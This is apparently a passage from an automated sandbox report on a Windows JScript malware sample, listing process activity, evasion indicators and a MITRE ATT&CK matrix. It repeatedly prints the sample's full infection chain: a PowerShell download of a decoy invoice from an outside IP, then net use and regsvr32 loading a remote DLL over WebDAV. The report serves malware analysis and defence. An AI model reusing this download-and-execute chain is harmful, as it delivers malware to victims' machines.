Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\696.js.csv");ITextStream.WriteLine(" entry:7803 f:itjivh");ITextStream.WriteLine(" exec:2 f:itjivh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4237			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5648			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5464	Thread sleep count: 4237 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep count: 5648 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5368	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7332	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2169399223.000001E68A218000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.2160848598.000001E68A27A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3395850127.000001E357A59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3394653041.000001E35242B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29323177493044.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
